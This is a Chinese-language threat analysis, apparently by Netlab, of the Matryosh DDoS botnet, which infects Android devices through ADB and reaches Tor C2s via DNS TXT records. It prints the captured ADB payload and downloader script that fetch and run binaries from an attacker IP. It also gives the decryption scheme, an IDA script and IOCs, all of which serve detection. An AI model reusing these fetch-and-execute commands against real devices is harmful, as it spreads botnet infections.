新威胁：能云端化配置C2的套娃（Matryosh）僵尸网络正在传播
<!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">背景</h2>
<p>2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过<code>DNS TXT</code>的方式从远程主机获取<code>TOR C2</code>以及和C2通信所必须的TOR代理。</p>
<p>这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为<code>Matryosh</code>。</p>
<p>每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。</p>
<p>Matryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持<code> tcpraw, icmpecho, udpplain</code> 3种方法，基本流程如下图所示：</p>
 <img src="__GHOST_URL__/content/images/2021/01/taowa_network.png" width="860px"  />
<h2 id="">传播</h2>
<p>目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机<code>199.19.226.25</code>下载并执行脚本。</p>
<pre><code>CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl &gt; curl; sh curl; busybox curl http://199.19.226.25/bcurl &gt; bcurl; sh bcurl.sh.
</code></pre>
<p>下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。</p>
<pre><code>#!/bin/sh

n=&quot;i586 mips mipsel armv5l armv7l&quot;
http_server=&quot;199.19.226.25&quot;

for a in $n
do
    curl http://$http_server/nXejnFjen/$a &gt; asFxgte
    chmod 777 asFxgte
    ./asFxgte android
done

for a in $n
do
    rm $a
done

</code></pre>
<h2 id="">样本分析</h2>
<p>Matryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：</p>
<blockquote>
<p>MD5:c96e333af964649bbc0060f436c64758</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</p>
<p>Lib:uclibc</p>
<p>Packer:None</p>
</blockquote>
<p>样本功能比较简单，运行后会重命名进程，并输出<code>stdin: pipe failed</code>字串以迷惑用户；随后解密得到远程主机名，用到<code>DNS TXT</code>请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。</p>
<h3 id="">解密敏感资源</h3>
<p>打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_ida.jpg" alt="taowa_ida" loading="lazy"></p>
<p>密文为1个header和N个body组成，结构如下所示：</p>
<pre><code>struct header {
 	u8 msg_len;
 	u8 key;
 	u8 body_cnt;
 }
 struct body {
 	u8 key;
 	u8 body_len;
 	char *body_buf;
 }
</code></pre>
<p>以密文<code>06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00  00</code>为例，解密过程如下所示：</p>
<pre><code>header.msglen=0x06	---&gt;有效密文长底为6
header.key=0x29
header.body_cnt=0x2	---&gt;有2个body

body1.key=0xdc		
body1.len=0x10		---&gt;body1长度为0x10字节

body1解密
header.key XOR body1.key得到body1的秘钥为0xF5
密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|

body2.key=0xfb
body2.len=0x6		---&gt;body2长度为0x6字节
body2解密
header.key xor body2.key得到body2的密钥为
密文：D2 11 04 00 00 00
解密后： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|


有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。
</code></pre>
<p>通过<a href="#decrypt_str">附录</a>的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。</p>
<table>
<thead>
<tr>
<th>tcpraw</th>
<th>icmpecho</th>
<th>udpplain</th>
</tr>
</thead>
<tbody>
<tr>
<td>/proc/</td>
<td>/cmdline</td>
<td>stdin: pipe failed</td>
</tr>
<tr>
<td>hosts.hiddenservice.xyz</td>
<td>.hiddenservice.xyz</td>
<td>onion.hiddenservice.xyz</td>
</tr>
</tbody>
</table>
<h3 id="">进程重命名</h3>
<p>重命名成大小写相间的长度为14的进程名以迷惑用户</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_proc.jpg" alt="taowa_proc" loading="lazy"></p>
<p>实际效果如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_name.JPG" alt="taowa_name" loading="lazy"></p>
<h3 id="tortorc2">获取TOR代理以及TOR C2</h3>
<p>Bot获取代理以及C2的过程可以分成4步。</p>
<ol>
<li>
<p>解密得到<code>远程主机A(hosts.hiddenservice.xyz)</code>，得到其DNS TXT解析结果：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step1.jpg" alt="taowa_step1" loading="lazy"></p>
<pre><code>hosts.hiddenservice.xyz. 1751	IN	TXT	&quot;iekfgakxorbfjcefbiyj&quot;
</code></pre>
</li>
<li>
<p>解密得到<code>远程主机后缀(.hiddenservice.xyz)</code>，然后按下面表格中的组合规则从第一步获取的字串(<code>iekfgakxorbfjcefbiyj</code>)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀<code>er</code>。</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>14,9</td>
<td>er</td>
</tr>
<tr>
<td>19,10</td>
<td>jb</td>
</tr>
<tr>
<td>3,4</td>
<td>fg</td>
</tr>
<tr>
<td>6,2</td>
<td>kk</td>
</tr>
<tr>
<td>8,13</td>
<td>oc</td>
</tr>
<tr>
<td>12,18</td>
<td>jy</td>
</tr>
<tr>
<td>11,1</td>
<td>fe</td>
</tr>
<tr>
<td>7,15</td>
<td>xf</td>
</tr>
<tr>
<td>5,17</td>
<td>ai</td>
</tr>
<tr>
<td>16,0</td>
<td>bi</td>
</tr>
</tbody>
</table>
<p>最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示</p>
<table>
<thead>
<tr>
<th>jb.hiddenservice.xyz</th>
<th>er.hiddenservice.xyz</th>
</tr>
</thead>
<tbody>
<tr>
<td>fg.hiddenservice.xyz</td>
<td>kk.hiddenservice.xyz</td>
</tr>
<tr>
<td>oc.hiddenservice.xyz</td>
<td>jy.hiddenservice.xyz</td>
</tr>
<tr>
<td>fe.hiddenservice.xyz</td>
<td>xf.hiddenservice.xyz</td>
</tr>
<tr>
<td>ai.hiddenservice.xyz</td>
<td>bi.hiddenservice.xyz</td>
</tr>
</tbody>
</table>
<p>下图实际的网络流量，验证了我们的分析。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step2.jpg" alt="taowa_step2" loading="lazy"></p>
</li>
<li>
<p>向第2步得到的<code>远程主机B</code>请求的DNS TXT记录，得到TOR代理的地址，最多10个。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step3.jpg" alt="taowa_step3" loading="lazy"></p>
<pre><code>oc.hiddenservice.xyz.	1799	IN	TXT	&quot;198.245.53.58:9095&quot;
fe.hiddenservice.xyz.	1799	IN	TXT	&quot;198.27.82.186:9050&quot;
</code></pre>
</li>
<li>
<p>解密得到<code>远程主机C（onion.hiddenservice.xyz）</code>，向其请求DNS TXT记录，得到TOR C2地址。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step4.jpg" alt="taowa_step4" loading="lazy"></p>
<pre><code>onion.hiddenservice.xyz. 1799	IN	TXT	&quot;4qhemgahbjg4j6pt.onion&quot;
</code></pre>
</li>
</ol>
<p>至此C2通信所需要的基础信息都已获得，Bot开始C2通信。</p>
<h3 id="c2">C2通信</h3>
<p>和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa.proxy.jpg" alt="taowa.proxy" loading="lazy"></p>
<p>随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_c2.jpg" alt="taowa_c2" loading="lazy"></p>
<p>如果TOR代理返回<code>05 00 00 01 00 00 00 00 00 00</code>时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_pcap.jpg" alt="taowa_pcap" loading="lazy"></p>
<p>发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。</p>
<ul>
<li>
<p>指令码：<code>0x84</code>表示心跳</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_beat.jpg" alt="taowa_beat" loading="lazy"></p>
</li>
<li>
<p>指令码：<code>0x55</code>表示上传Bot的分组信息</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_reg.jpg" alt="taowa_reg" loading="lazy"></p>
</li>
<li>
<p>指令码：<code>非0x55</code>，<code>非0x84</code>，DDoS攻击</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_atk.jpg" alt="taowa_atk" loading="lazy"></p>
</li>
</ul>
<h2 id="moobot">和Moobot团伙的关系</h2>
<p>Moobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络<a href="__GHOST_URL__/the-leethozer-botnet/">LeetHozer</a>，对比Matryosh，俩者的相似之处体现在以下3方面：</p>
<ol>
<li>
<p>使用TOR C2这种模式</p>
</li>
<li>
<p>C2端口（31337）&amp;攻击方法名一样</p>
</li>
<li>
<p>C2指令格式高度相似</p>
</li>
</ol>
<p>基于这些考量，我们推测Matryosh是该团伙的新作品。</p>
<h2 id="">结论</h2>
<p>Matryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，<code>C2配置云端化</code>在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&amp;加密将会给安全研究人员带来更多的挑战。</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66

SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6
</code></pre>
<p>URL</p>
<pre><code>kk.hiddenservice.xyz	
er.hiddenservice.xyz	
jy.hiddenservice.xyz	
fe.hiddenservice.xyz	
xf.hiddenservice.xyz	
oc.hiddenservice.xyz	
jb.hiddenservice.xyz	
ai.hiddenservice.xyz	
bi.hiddenservice.xyz	
fg.hiddenservice.xyz

hosts.hiddenservice.xyz	
onion.hiddenservice.xyz	
</code></pre>
<p>C2</p>
<pre><code>4qhemgahbjg4j6pt.onion：31337
</code></pre>
<p>Proxy Ip</p>
<pre><code>46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095
</code></pre>
<p>Downloader</p>
<pre><code>i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}

</code></pre>
<h2 id="aiddecrypt_stridaa"><a id="decrypt_str">附录（IDA解密脚本）</a></h2>
<pre><code>import idc
import idaapi
import idautils


# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
    round = 0
    while round &lt; 2:
        addr = idc.PrevHead(addr)
        if GetMnem(addr) == &quot;mov&quot; and &quot;offset&quot; in GetOpnd(addr, 1):
            return GetOperandValue(addr, 1)
        if GetMnem(addr) == &quot;push&quot; and &quot;offset&quot; in GetOpnd(addr, 0):
            return GetOperandValue(addr, 0)
        round += 1

    return 0


def get_string(addr):
    out = []
    while True:
        if Byte(addr) != 0:
            out.append(Byte(addr))
        else:
            break
        addr += 1
    return out


def descrypt(enc_lst):
    msg_length = enc_lst[0]
    xor_key1 = enc_lst[1]
    group = enc_lst[2]

    msg_lst = enc_lst[3:]
    des_msg = []
    for i in range(0, group):
        xor_key2 = msg_lst[0]
        group_len = msg_lst[1]
        key = xor_key1 ^ xor_key2
        for j in range(2, group_len + 2):
            des_msg.append(chr(msg_lst[j] ^ key))
        if len(des_msg) &gt; msg_length:
            des_msg = des_msg[0:msg_length]
            break
        msg_lst = msg_lst[group_len + 2:]
    print(&quot;&quot;.join(des_msg))


descrypt_func_ea = 0x080493E0

refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
    refsto_lst.append(ref)

ens_str_addr = []
for ea in refsto_lst:
    addr = find_function_arg(ea)
    if addr != 0:
        ens_str_addr.append(addr)
        # print(hex(addr))
    else:
        print(&quot;Missed arg at {}&quot;.format(ea))

for ea in ens_str_addr:
    ret = get_string(ea)
    descrypt(ret)
</code></pre>
<!--kg-card-end: markdown-->
版权


版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



背景


2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过DNS TXT的方式从远程主机获取TOR C2以及和C2通信所必须的TOR代理。


这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为Matryosh。


每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。


Matryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持 tcpraw, icmpecho, udpplain 3种方法，基本流程如下图所示：




传播


目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机199.19.226.25下载并执行脚本。


CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.



下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。


#!/bin/sh

n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"

for a in $n
do
    curl http://$http_server/nXejnFjen/$a > asFxgte
    chmod 777 asFxgte
    ./asFxgte android
done

for a in $n
do
    rm $a
done





样本分析


Matryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：





MD5:c96e333af964649bbc0060f436c64758


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped


Lib:uclibc


Packer:None



样本功能比较简单，运行后会重命名进程，并输出stdin: pipe failed字串以迷惑用户；随后解密得到远程主机名，用到DNS TXT请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。



解密敏感资源


打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。





密文为1个header和N个body组成，结构如下所示：


struct header {
 	u8 msg_len;
 	u8 key;
 	u8 body_cnt;
 }
 struct body {
 	u8 key;
 	u8 body_len;
 	char *body_buf;
 }



以密文06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00为例，解密过程如下所示：


header.msglen=0x06	--->有效密文长底为6
header.key=0x29
header.body_cnt=0x2	--->有2个body

body1.key=0xdc		
body1.len=0x10		--->body1长度为0x10字节

body1解密
header.key XOR body1.key得到body1的秘钥为0xF5
密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|

body2.key=0xfb
body2.len=0x6		--->body2长度为0x6字节
body2解密
header.key xor body2.key得到body2的密钥为
密文：D2 11 04 00 00 00
解密后： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|


有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。



通过附录的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。





tcpraw
icmpecho
udpplain




/proc/
/cmdline
stdin: pipe failed


hosts.hiddenservice.xyz
.hiddenservice.xyz
onion.hiddenservice.xyz






进程重命名


重命名成大小写相间的长度为14的进程名以迷惑用户





实际效果如下图所示：






获取TOR代理以及TOR C2


Bot获取代理以及C2的过程可以分成4步。


 1. 
    
    
    解密得到远程主机A(hosts.hiddenservice.xyz)，得到其DNS TXT解析结果：
    
    
    
    
    
    hosts.hiddenservice.xyz. 1751	IN	TXT	"iekfgakxorbfjcefbiyj"
    
    

 2. 
    
    
    解密得到远程主机后缀(.hiddenservice.xyz)，然后按下面表格中的组合规则从第一步获取的字串(iekfgakxorbfjcefbiyj)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀er。
    
    
    
    
    
    Index
    Value
    
    
    
    
    14,9
    er
    
    
    19,10
    jb
    
    
    3,4
    fg
    
    
    6,2
    kk
    
    
    8,13
    oc
    
    
    12,18
    jy
    
    
    11,1
    fe
    
    
    7,15
    xf
    
    
    5,17
    ai
    
    
    16,0
    bi
    
    
    
    
    
    最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示
    
    
    
    
    
    jb.hiddenservice.xyz
    er.hiddenservice.xyz
    
    
    
    
    fg.hiddenservice.xyz
    kk.hiddenservice.xyz
    
    
    oc.hiddenservice.xyz
    jy.hiddenservice.xyz
    
    
    fe.hiddenservice.xyz
    xf.hiddenservice.xyz
    
    
    ai.hiddenservice.xyz
    bi.hiddenservice.xyz
    
    
    
    
    
    下图实际的网络流量，验证了我们的分析。
    
    
    
    

 3. 
    
    
    向第2步得到的远程主机B请求的DNS TXT记录，得到TOR代理的地址，最多10个。
    
    
    
    
    
    oc.hiddenservice.xyz.	1799	IN	TXT	"198.245.53.58:9095"
    fe.hiddenservice.xyz.	1799	IN	TXT	"198.27.82.186:9050"
    
    

 4. 
    
    
    解密得到远程主机C（onion.hiddenservice.xyz），向其请求DNS TXT记录，得到TOR C2地址。
    
    
    
    
    
    onion.hiddenservice.xyz. 1799	IN	TXT	"4qhemgahbjg4j6pt.onion"
    
    


至此C2通信所需要的基础信息都已获得，Bot开始C2通信。



C2通信


和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，





随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。





如果TOR代理返回05 00 00 01 00 00 00 00 00 00时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。





发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。


 * 
   
   
   指令码：0x84表示心跳
   
   
   
   

 * 
   
   
   指令码：0x55表示上传Bot的分组信息
   
   
   
   

 * 
   
   
   指令码：非0x55，非0x84，DDoS攻击
   
   
   
   



和Moobot团伙的关系


Moobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络LeetHozer，对比Matryosh，俩者的相似之处体现在以下3方面：


 1. 
    
    
    使用TOR C2这种模式
    

 2. 
    
    
    C2端口（31337）&攻击方法名一样
    

 3. 
    
    
    C2指令格式高度相似
    


基于这些考量，我们推测Matryosh是该团伙的新作品。



结论


Matryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，C2配置云端化在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&加密将会给安全研究人员带来更多的挑战。



IOC


Sample MD5


ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66

SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6



URL


kk.hiddenservice.xyz	
er.hiddenservice.xyz	
jy.hiddenservice.xyz	
fe.hiddenservice.xyz	
xf.hiddenservice.xyz	
oc.hiddenservice.xyz	
jb.hiddenservice.xyz	
ai.hiddenservice.xyz	
bi.hiddenservice.xyz	
fg.hiddenservice.xyz

hosts.hiddenservice.xyz	
onion.hiddenservice.xyz	



C2


4qhemgahbjg4j6pt.onion：31337



Proxy Ip


46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095



Downloader


i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}





附录（IDA解密脚本）


import idc
import idaapi
import idautils


# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
    round = 0
    while round < 2:
        addr = idc.PrevHead(addr)
        if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
            return GetOperandValue(addr, 1)
        if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
            return GetOperandValue(addr, 0)
        round += 1

    return 0


def get_string(addr):
    out = []
    while True:
        if Byte(addr) != 0:
            out.append(Byte(addr))
        else:
            break
        addr += 1
    return out


def descrypt(enc_lst):
    msg_length = enc_lst[0]
    xor_key1 = enc_lst[1]
    group = enc_lst[2]

    msg_lst = enc_lst[3:]
    des_msg = []
    for i in range(0, group):
        xor_key2 = msg_lst[0]
        group_len = msg_lst[1]
        key = xor_key1 ^ xor_key2
        for j in range(2, group_len + 2):
            des_msg.append(chr(msg_lst[j] ^ key))
        if len(des_msg) > msg_length:
            des_msg = des_msg[0:msg_length]
            break
        msg_lst = msg_lst[group_len + 2:]
    print("".join(des_msg))


descrypt_func_ea = 0x080493E0

refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
    refsto_lst.append(ref)

ens_str_addr = []
for ea in refsto_lst:
    addr = find_function_arg(ea)
    if addr != 0:
        ens_str_addr.append(addr)
        # print(hex(addr))
    else:
        print("Missed arg at {}".format(ea))

for ea in ens_str_addr:
    ret = get_string(ea)
    descrypt(ret)


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n## 版权\n版权声明：本文为Netlab原创，依据 [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。\n## 背景\n\n2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过```DNS TXT```的方式从远程主机获取```TOR C2```以及和C2通信所必须的TOR代理。\n\n   \n\n 这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为```Matryosh```。\n\n每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。\n\n\nMatryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持``` tcpraw, icmpecho, udpplain``` 3种方法，基本流程如下图所示：\n\n\n \n <img src=\"__GHOST_URL__/content/images/2021/01/taowa_network.png\" width=\"860px\"  />\n\n\n## 传播\n\n目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机```199.19.226.25```下载并执行脚本。\n\n```\nCNXN............M\n..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.\n```\n\n下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。\n\n```\n#!/bin/sh\n\nn=\"i586 mips mipsel armv5l armv7l\"\nhttp_server=\"199.19.226.25\"\n\nfor a in $n\ndo\n    curl http://$http_server/nXejnFjen/$a > asFxgte\n    chmod 777 asFxgte\n    ./asFxgte android\ndone\n\nfor a in $n\ndo\n    rm $a\ndone\n\n```\n\n## 样本分析\n\nMatryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：\n\n> MD5:c96e333af964649bbc0060f436c64758\n>\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n>\n> Lib:uclibc\n>\n> Packer:None\n\n样本功能比较简单，运行后会重命名进程，并输出```stdin: pipe failed```字串以迷惑用户；随后解密得到远程主机名，用到```DNS TXT```请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。\n\n### 解密敏感资源\n\n打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。\n\n![taowa_ida](__GHOST_URL__/content/images/2021/01/taowa_ida.jpg)\n\n密文为1个header和N个body组成，结构如下所示：\n\n```\nstruct header {\n \tu8 msg_len;\n \tu8 key;\n \tu8 body_cnt;\n }\n struct body {\n \tu8 key;\n \tu8 body_len;\n \tchar *body_buf;\n }\n```\n\n以密文```06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00  00```为例，解密过程如下所示：\n\n```\nheader.msglen=0x06\t--->有效密文长底为6\nheader.key=0x29\nheader.body_cnt=0x2\t--->有2个body\n\nbody1.key=0xdc\t\t\nbody1.len=0x10\t\t--->body1长度为0x10字节\n\nbody1解密\nheader.key XOR body1.key得到body1的秘钥为0xF5\n密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5\n解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|\n\nbody2.key=0xfb\nbody2.len=0x6\t\t--->body2长度为0x6字节\nbody2解密\nheader.key xor body2.key得到body2的密钥为\n密文：D2 11 04 00 00 00\n解密后： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|\n\n\n有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。\n```\n\n\n\n通过[附录](#decrypt_str)的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。\n\n| tcpraw                  | icmpecho           | udpplain                |\n| ----------------------- | ------------------ | ----------------------- |\n| /proc/                  | /cmdline           | stdin: pipe failed      |\n| hosts.hiddenservice.xyz | .hiddenservice.xyz | onion.hiddenservice.xyz |\n\n\n\n### 进程重命名\n\n重命名成大小写相间的长度为14的进程名以迷惑用户\n\n ![taowa_proc](__GHOST_URL__/content/images/2021/01/taowa_proc.jpg)\n\n\n\n实际效果如下图所示：\n\n![taowa_name](__GHOST_URL__/content/images/2021/01/taowa_name.JPG)\n\n### 获取TOR代理以及TOR C2\n\nBot获取代理以及C2的过程可以分成4步。\n\n1. 解密得到```远程主机A(hosts.hiddenservice.xyz)```，得到其DNS TXT解析结果：\n\n   ![taowa_step1](__GHOST_URL__/content/images/2021/01/taowa_step1.jpg)\n\n   ```\n   hosts.hiddenservice.xyz. 1751\tIN\tTXT\t\"iekfgakxorbfjcefbiyj\"\n   ```\n\n2. 解密得到```远程主机后缀(.hiddenservice.xyz)```，然后按下面表格中的组合规则从第一步获取的字串(```iekfgakxorbfjcefbiyj```)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀```er```。\n\n  \n   | Index | Value |\n   | ----- | ----- |\n   | 14,9 | er    |\n   |  19,10 | jb    |\n   | 3,4   | fg    |\n   | 6,2   | kk    |\n   | 8,13  | oc    |\n   | 12,18 | jy    |\n   | 11,1  | fe    |\n   | 7,15  | xf    |\n   | 5,17  | ai    |\n   | 16,0  | bi    |\n\n   最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示\n\n   | jb.hiddenservice.xyz | 